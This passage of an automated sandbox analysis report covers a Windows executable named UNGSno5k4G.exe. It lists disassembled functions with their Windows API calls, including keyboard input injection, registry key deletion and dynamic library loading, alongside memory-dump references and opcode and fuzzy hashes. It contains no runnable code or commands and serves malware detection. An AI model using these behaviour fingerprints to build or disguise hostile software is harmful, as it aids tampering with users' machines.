                                                                                                                                                  • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                                                                                                                                                  • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                  • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                                                                                                                                                  Function 0040F790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _memset$_sprintf
                                                                                                                                                  • String ID: %02X
                                                                                                                                                  • API String ID: 891462717-436463671
                                                                                                                                                  • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                  • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                                                                                                  • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                  • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                                                                                                  Function 0043362D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                                                                                                  • GetStockObject.GDI32(00000011), ref: 00433695
                                                                                                                                                  • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                                                                                                  • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$CreateMessageObjectSendShowStock
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1358664141-2594219639
                                                                                                                                                  • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                  • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                                                                                                  • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                  • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                                                                                                  Function 0040F3B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 0042CD00
                                                                                                                                                  • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                                                                                                                                    • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\UNGSno5k4G.exe,?,C:\Users\user\Desktop\UNGSno5k4G.exe,004A8E80,C:\Users\user\Desktop\UNGSno5k4G.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                    • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                                                                                                    • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                                                                                                    • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                                                                                                    • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                                                                                                    • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                                                                                                    • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                                                                                                                                                  • String ID: $OH$@OH$X
                                                                                                                                                  • API String ID: 3491138722-1394974532
                                                                                                                                                  • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                  • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                                                                                                  • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                  • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                                                                                                  Function 00463D7E Relevance: 7.6, APIs: 5, Instructions: 141libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                                                                                                  • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                                                                                                  • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                                                                                                  • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressProc$Library$FreeLoad
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2449869053-0
                                                                                                                                                  • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                  • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                                                                                                  • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                  • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                                                                                                  Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                                                                                                  • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                                                                                                  • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                                                                                                  • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                                                                                                  • SendInput.USER32 ref: 0044C509
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: KeyboardMessagePostState$InputSend
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3031425849-0
                                                                                                                                                  • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                  • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                                                                                                  • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                  • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                                                                                                  Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                                                                                                  • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                                                                                                  • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Enum$CloseDeleteOpen
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2095303065-0
                                                                                                                                                  • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                  • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                                                                                                  • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                  • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                                                                                                  Function 0045C277 Relevance: 7.6, APIs: 5, Instructions: 105COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                                                                                                                                                  • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                                                                                                                                                  • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                                                                                                                                                  • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                                                                                                                                                  • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: PrivateProfile$SectionWrite$String
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2832842796-0
                                                                                                                                                  • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                  • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                                                                                                                                                  • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                  • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                                                                                                                                                  Function 0044796B Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 00447997
                                                                                                                                                  • GetCursorPos.USER32(?), ref: 004479A2
                                                                                                                                                  • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                                                                                                  • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                                                                                                  • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Client$CursorFromPointProcRectScreenWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1822080540-0
                                                                                                                                                  • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                  • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                                                                                                  • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                  • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                                                                                                  Function 00447BAF Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                  • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                  • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                  • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                  • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ClientPaintRectRectangleScreenViewportWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 659298297-0
                                                                                                                                                  • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                  • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                                                                                                                                                  • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                  • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                                                                                                                                                  Function 00447870 Relevance: 7.6, APIs: 5, Instructions: 94windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCursorPos.USER32(?), ref: 004478A7
                                                                                                                                                  • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                                                                                                                                                  • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                                                                                                                                                  • GetCursorPos.USER32(?), ref: 00447935
                                                                                                                                                  • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CursorMenuPopupTrack$Proc
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1300944170-0
                                                                                                                                                  • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                  • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
                                                                                                                                                  • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                  • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                                                                                                                                                  Function 00448837 Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                  • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                  • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                    • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                    • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                    • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                    • Part of subcall function 004413F0: SendMessageW.USER32(02EA1AF8,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                    • Part of subcall function 004413F0: SendMessageW.USER32(02EA1AF8,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$EnableMessageSend$LongShow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 142311417-0
                                                                                                                                                  • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                  • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                                                                                                                                                  • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                  • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                                                                                                                                                  Function 00449549 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 0044955A
                                                                                                                                                    • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                  • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                                                                                                                                                  • _wcslen.LIBCMT ref: 004495C1
                                                                                                                                                  • _wcslen.LIBCMT ref: 004495CE
                                                                                                                                                  • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend_wcslen$_memset_wcspbrk
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1843234404-0
                                                                                                                                                  • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                  • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                                                                                                                                                  • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                  • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                                                                                                                                                  Function 00455014 Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                  • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                                                                                                                                                  • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                  • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
